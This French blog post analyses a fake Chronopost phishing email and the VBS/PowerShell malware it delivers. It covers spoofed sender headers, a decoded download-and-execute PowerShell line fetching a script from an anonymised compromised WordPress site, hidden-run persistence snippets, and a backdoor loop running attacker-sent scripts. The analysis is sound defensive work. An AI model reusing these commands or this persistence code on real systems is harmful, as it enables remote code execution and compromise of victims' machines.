Bonjour à tous,

Je reçois de temps en temps des phishings, principalement sur une des mes anciennes adresses mail. Un jour, alors que j’en recevais un de plus, j’ai décidé d’en faire une petite analyse.

Dans cet article, on va voir qu’un mail peut cacher plein d’infos, notamment son véritable expéditeur. Ensuite, je vais rappeler rapidement ce qu’est un phishing, pour finir par l’analyse en question !

Disclaimer

Tout ce qui va être décrit dans cet article a été réalisé dans un contexte maîtrisé. Je vous déconseille fortement de cliquer sur ces mails en dehors d’un environnement dédié, même si vous pensez maîtriser ce qui pourrait se passer.

De plus, toute information sera anonymisée pour des raisons évidentes.

Plus d’infos sur les mails

Les données derrière un mail

Quand on reçoit un mail, ce n’est ni plus ni moins que des données dans un certain format. On va retrouver plusieurs champs comme l’expéditeur, le destinataire, le sujet, la date, le contenu du mail, etc… C’est notre client mail qui va récupérer ces informations pour en faire un joli affichage lisible.

Quand on envoie un mail, on s’authentifie auprès d’un serveur de mail et on précise le destinataire de notre mail. On peut envoyer ce que l’on veut dans un mail. Il est par exemple possible de personnaliser le champ Expéditeur d’un mail.

Dans cette démonstration, je me suis envoyé un mail à moi-même en me faisant passer pour quelqu’un que je ne suis pas.

Et voici le mail que j’ai reçu (je n’ai flouté que la partie comprenant mon mail, le reste est réellement ce qui était affiché).

En réalité, si on regarde la source du mail (je vous laisse chercher sur un moteur de recherche comment le faire selon votre client mail, ils sont tous différents !), je trouve:

From: "Emmanuel Macron" <president@republique.fr>

Les clients mails utilisent ce champ pour afficher l’expéditeur. Mais si on cherche plus, on trouve:

Received-SPF: Neutral (mailfrom) identity=mailfrom; client-ip=xx.xx.xx.xx; helo=smtp.xxxx.xx; envelope-from=president@republique.fr; receiver=xxxx@xxxx.xx
Received: from smtp.xxxx.xx (smtp05.xxxx.xx [xx.xx.xx.xx])
    by xxx.xxx.xx (Postfix) with ESMTPS id xxxxxxxx
    for <xxxx@xxxxx.xx>; Sun, 28 Nov 2021 17:10:30 +0000 (UTC)

On peut savoir depuis quel serveur le mail a réellement été envoyé, mais dans mon cas, je n’ai jamais retrouvé l’adresse mail utilisée sur le serveur pour envoyer le mail.

Bref, sans chiffrement ou sans signature numérique, il est impossible d’authentifier les mails que vous recevez (d’où l’importance de les chiffrer et/ou de les signer !).

Un phishing, qu’est-ce que c’est ?

Comme on vient de le voir, on peut facilement usurper l’identité de quelqu’un avec les mails (ce qui, je le rappelle, est interdit par la loi).

Un phishing (hameçonnage en français) est donc une forme d’escroquerie dans laquelle un usurpateur va se faire passer pour quelqu’un qu’il n’est pas mais qui pourrait vous envoyer des mails (comme une banque, la SNCF, etc…). L’usurpateur va faire ressembler le plus possible le mail de phshing avec un mail qui pourrait être réel dans le but de vous faire cliquer sur un lien et/ou de vous soutirer des informations comme un mot de passe ou une carte bleue.

Exemple: vous recevez un mail d’une société (connue comme la SNCF ou Easyjet) vous demandant de mettre à jour votre mot de passe avec un lien vers un site qui ressemble au vrai site. Sauf que c’est un faux site mais dans lequel vous allez être tenté de rentrer vos vrais identifiants.

Analyse du phishing

Maintenant, on va tenter d’analyser et de décortiquer ce fameux phshing que j’ai reçu.

La réception et le mail en lui-même

Tout d’abord, depuis mon client webmail, le mail n’a presque rien de douteux.

Par contre, si on regarde sur la page Éviter les tentatives d’escroqueries de Chronopost, on voit que l’expéditeur devrait entre autres être ne-pas-repondre@chronopost.fr. Ici, on a noreply suivi d’un nombre aléatoire, bref, déjà rien que là, on est en mesure d’établir que ce n’est pas un vrai mail de Chronopost.

Ensuite, on ouvre le mail et à première vue, il ressemble parfaitement à un mail classique de Chronopost (surtout que j’attendais un colis cette même semaine …).

Mais si on reprend la page d’aide de Chronopost, ils précisent clairement de vérifier:

• le numéro de suivi: il n’y en a pas dans le mail.
• l’adresse de livraison: idem.
• les liens externes qui doivent tous rediriger vers leur site (en survolant le lien, on voit la cible en bas du navigateur)

C’est sur ce dernier point que l’on peut s’attarder. Déjà, si on regarde mieux le lien qui demande à être cliqué, on voit que la couleur n’est pas la même, et il y a un fond bleu clair sur le texte. C’est un point que je ne comprends toujours pas, pourquoi ces mails sont toujours bourrés de typos (pas ici cela dit) ou de détails comme ça qui les trahissent ? …

Si on survole le lien de suivi de colis, on obtient le détail: https://filetransfer.io/xxx/xxx/download, ici c’est donc un site de partage de fichiers. Bon clairement, on avait pas besoin de plus d’indices, mais là, ça devient gros … Tous les autres liens pointent cependant sur le site officiel de Chronopost.

Si on regarde ensuite la source du mail, voici ce qu’on peut notamment trouver:

Received: from xxxx ([xxx.xxx.xxx.xxx])
    by xxxx.xxx.xx with LMTP
    id xxxx
    (envelope-from <noreply855462544@chronopost.fr>)
    for <xxxx@xxx.xx>; Wed, 29 Sep 2021 15:38:43 +0200
From: "noreply855462544@chronopost.fr" <noreply855462544@chronopost.fr>

Tiens, on retrouve cette adresse mail visible depuis le client mail, mais rien d’autre ne fait mention de Chronopost. Enfin, le contenu du mail est de l’HTML encodé en base64 comme il est relativement courant de le faire.

Le lien cliquable

Ici, il semble donc n’y avoir qu’un seul piège: le lien à cliquer. Comme dit précédemment, ce lien pointe vers un site de partage de fichiers.

Il ne faut bien sûr pas cliquer dessus, mais j’ai trouvé le mail mignon: dans la forme, c’est presque réussi mais dans le fond, c’est peu crédible. Est-ce que le fait que j’attendais un colis Chronopost cette semaine-là m’a aussi inconsciemment fait tiquer ? (bien que ça ne soit pas la bonne adresse mail). C’est sûrement un mélange de ces raisons qui m’a poussé à investiguer un petit peu le sujet.

Bref, je me suis donc placé dans un environnement sécurisé (je ne vais pas rentrer dans les détails, mais ne prenez pas ces choses à la légère !!).

Le fichier téléchargé via le site de partage de fichiers se nomme en réalité: Colis__xxxx.vbs (xxxx pour anonymiser les vrais chiffres). C’est un donc programme à exécuter, vbs étant une extension pour des scripts Visual Basic sur Windows.

Ni une, ni 2, en voici son contenu (anonymisé).

Le premier script

À première vue, c’est un peu déroutant, mais on comprend vite que c’est une façon de ne pas écrire directement du code. On peut facilement imaginer que c’est dans le but d’éviter les antivirus, une sorte d’offuscation pour les antivirus afin que ces derniers ne jugent pas ce fichier comme un virus.

Attardons-nous un peu plus sur ce script. On commence par trouver une variable nommée Script qui est une longue variable dont un pattern va ensuite être retiré à la ligne 4.

Une fois décodées, voici ce que valent les 3 variables:

• Script:

[System.Net.WebClient]$WEB=New-Object System.Net.WebClient;$WEB.DownloadFile('https://xxxxx.xxxxx.xx/wp-content/plugins/ninja-forms/classes/dir/dir.txt','C:\Users\Public\dir.PS1');PowerShell -File C:\Users\Public\dir.PS1

• O: wscript.shell
• ASM: PowerShell -ExecutionPolicy RemoteSigned -Command " (suivi du contenu de script).

En réalité, on se retrouve donc à télécharger un nouveau script chez l’utilisateur Windows Invité.

Si on analyse l’adresse depuis laquelle ce script va être téléchargé, on se rend compte que c’est depuis un site Wordpress via un plugin nommé Ninja Forms. En regardant sur Internet, on se rend compte très vite que ce plugin a comporté de très grosses failles de sécurité corrigées depuis.

On parle alors d’un site Wordpress qui n’a pas été mis à jour depuis un moment et sur lequel nos pirates stockent un de leurs scripts Powershell (un autre langage de scripting principalement pour Windows).

Rappels de sécurité

Encore une fois, mettez à jour vos services exposés sur le net ! On entend souvent qu’il faut éviter Wordpress car c’est une usine à gaz et une source à problèmes. Je dirai plutôt que c’est une source à problème pour ceux ne prenant pas le temps de faire les mises à jour.

Maintenant, les mises à jours peuvent se faire automatiquement, c’est à la fois très positif et utile la majorité du temps. Mais on aura bientôt des problèmes comme sur NPM ou des pirates réussissent à introduire du code malveillant et à sortir de nouvelles versions via des comptes Github ou autres ayant l’autorisation de le faire.

Bref, on ne peut pas héberger soi-même des services web sans avoir conscience des risques et sans avoir un minimum de compétences sur ce sujet ainsi que du temps à y consacrer.

Le deuxième script

Voici le contenu du deuxième script alors téléchargé.

Là, on voit clairement que le pirate essaie encore de masquer aux antivirus certaines actions, mais ça reste tout de même très explicite !

On retrouve pour commencer quelques variables dont une adresse IP et un port. Ensuite, on retrouve quelques fonctions puis l’appel de ces fonctions et notamment dans une boucle infinie.

Je ne vais pas tout détailler, mais on commence par la fonction inf qui va récupérer des informations telles que le nom de l’antivirus, l’adresse MAC ou encore des détails sur le système d’exploitation et sa version.

Ensuite, on retrouve une fonction install qui va écrire un nouveau script nommé Windows10DecemberUpdate.vbs. Si on décode la variable startup, on trouve:

Set OBB = CreateObject("WScript.Shell")
OBB.Run "PowerShell -ExecutionPolicy RemoteSigned -File "+"%FILE%",0

Avec %FILE% qui est par la suite remplacé par $PSCommandPath qui est en réalité le chemin courant. Donc on va se retrouver avec un script (dont la plupart des gens vont croire qu’il est légitime car nécessaire pour que Windows fasse ses mises à jour) mais qui en réalité permet de lancer des scripts.

Par la suite, on trouve une fonction Get-AntivirusName qui est utilisée par la fonction inf décrite précédemment. La fonction suivante Binary2String est une fonction inutilisée. Oui, on retrouve du code mort, même dans un script de pirate !

La fonction POST suivante est intéressante, car elle permet d’envoyer des informations sur l’adresse IP et le port indiqué en haut du script.

Pour finir, on se retrouve dans une boucle infinie while($true) avec une attente entre chaque boucle via [System.Threading.Thread]::Sleep(3000). En réalité, la boucle commence par envoyer une requête via la fameuse fonction POST pour ensuite réaliser une action différente selon ce que le serveur pirate aura répondu.

Cas “RF”

Dans ce cas, un script dont le nom et le contenu aura été répondu par le pirate va être écrit puis exécuté. C’est donc une porte d’entrée supplémentaire pour notre pirate.

Cas “TR”

On trouve ici une variable encodée StartupContent qui contient littéralement:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "Powershell -ExecutionPolicy Bypass -File " + "%PT%", 0

Ce bout de code va être transformé pour remplacer %PT% par le chemin du script que l’on va voir juste après.. Enfin, ceci va être écrit dans un fichier nommé WinLOGON.vbs.

On a ensuite la variable PsFileName qui correspond à un nom de fichier généré aléatoirement avec l’extension powershell. Comme pour le cas précédent, on va écrire dans ce fichier TargetPath le contenu renvoyé par le serveur du pirate.

Tout ceci est ensuite exécuté.

Cas “exc” et “Sc”

On reprend le même principe que le cas “RF”, on crée un script que l’on remplit avec les données provenant du serveur pirate et on l’exécute.

En résumé, je ne comprends pas vraiment pourquoi avoir différencié ces cas puisqu’ils font la même chose mais que c’est juste écrit différemment.

Mise en pratique

Pour aller plus loin, j’ai développé des scripts pour envoyer des messages exactement dans le format attendu par le serveur du pirate. J’ai également préparé de quoi faire des captures Wireshark et bloqué toutes les IP sauf celle du serveur pirate. Et c’est parti, que la communication commence !

J’ai été déçu. Oui, le serveur était bien opérationnel, mais il ne répondait que les acknowledgement (message qui veut dire “Oui, j’atteste avoir reçu ton message”).

J’ai essayé de jouer sur les paramètres comme la version de Windows ou le nom de l’antivirus dans la requête qui part au serveur. Mais je n’ai jamais eu de réponse tombant dans un des cas du switch où le pirate nous demanderait de faire quelque-chose.

Est-ce que le pirate demande à ses ordinateurs (ce sont un peu les siens vu qu’il a le contrôle dessus) de miner des cryptomonnaies ?

Est-ce qu’il les laisse dormir le temps d’avoir une cible sur laquelle faire une attaque par déni de service ?

Est-ce qu’il cible une version précise de Windows/Antivirus pour installer un ransomware ? (c’est une sorte de virus qui va chiffrer tout votre disque dur pour demander une rançon pour le déchiffrer).

Ce mystère restera donc entier !

Analyse du serveur pirate

À partir de son adresse IP, je n’ai fait qu’une seule chose, j’ai regardé ce que Shodan avait à me dire. Il s’agit donc d’un serveur tournant sur Windows Server 2012 (une vieille version donc) sur un VPS (un petit serveur privé). A l’heure où j’écris ces lignes (2 mois après la réception du phishing et de mes premières analyses le soir même), le serveur est toujours opérationnel avec le port 1177 toujours ouvert.

D’ailleurs, voici ce qu’il a répondu à la dernière requête des robots de Shodan:

HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: xxx, xx Nov 2021 xx:xx:xx GMT
Connection: close
Content-Length: 326

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Bad Request - Invalid Verb</h2>
<hr><p>HTTP Error 400. The request verb is invalid.</p>
</BODY></HTML>

Le serveur s’attend en effet à avoir des requêtes au format qu’on a pu voir précédemment.

Enfin, pour revenir sur le port 1177, je n’ai rien trouvé d’ultra probant sur un logiciel l’utilisant et ayant pu avoir une faille de sécurité. Je ne sais donc pas si ce serveur a lui-même été piraté comme le site Wordpress pour le premier script ou bien s’il appartient vraiment au pirate. Au vu de la version du serveur, je partirai quand même sur la première hypothèse.

Conclusion

Ce phishing est donc un faux mail de Chronopost invitant à télécharger une pièce jointe nommée Colis__xxxx.vbs. Il faut ensuite que la personne clique sur ce lien pour que la magie opère. Ce n’est donc pas vraiment un très bon phishing, je pense que toute personne un minimum sensibilisée saura qu’il ne faut pas télécharger la pièce jointe, et encore moins l’ouvrir par la suite !

De plus, on peut voir sur le premier script les techniques d’offuscation pour que les antivirus laissent passer le script. Par curiosité, j’ai fait le test (en remplaçant la vraie URL par une URL bidon comme dans le lien que j’ai partagé), et l’antivirus de base de Windows l’a immédiatement mis en quarantaine et reconnu comme un virus.

On est pas en présence d’un phishing très sophistiqué, mais j’ai trouvé ce petit jeu de rétro-ingénierie assez intéressant pour voir ce qui pouvait réellement se cacher derrière.

Même si on a pas de certitudes sur le fameux dernier serveur, on sait que le site Wordpress était exploité par le pirate via une faille dans un plugin. Ce genre de failles exploitées de la sorte rendent le véritable pirate beaucoup plus discret.

Pour finir, pour ceux qui pensent que ce monde des virus n’est réservé qu’aux utilisateurs Windows, détrompez-vous, il existe par exemple un virus sur Linux capable d’exploiter les cron jobs (système de tâches automatisées). Vous pouvez en savoir plus dans cet article et comme on peut le voir sur ce post Reddit, ce n’est pas nouveau !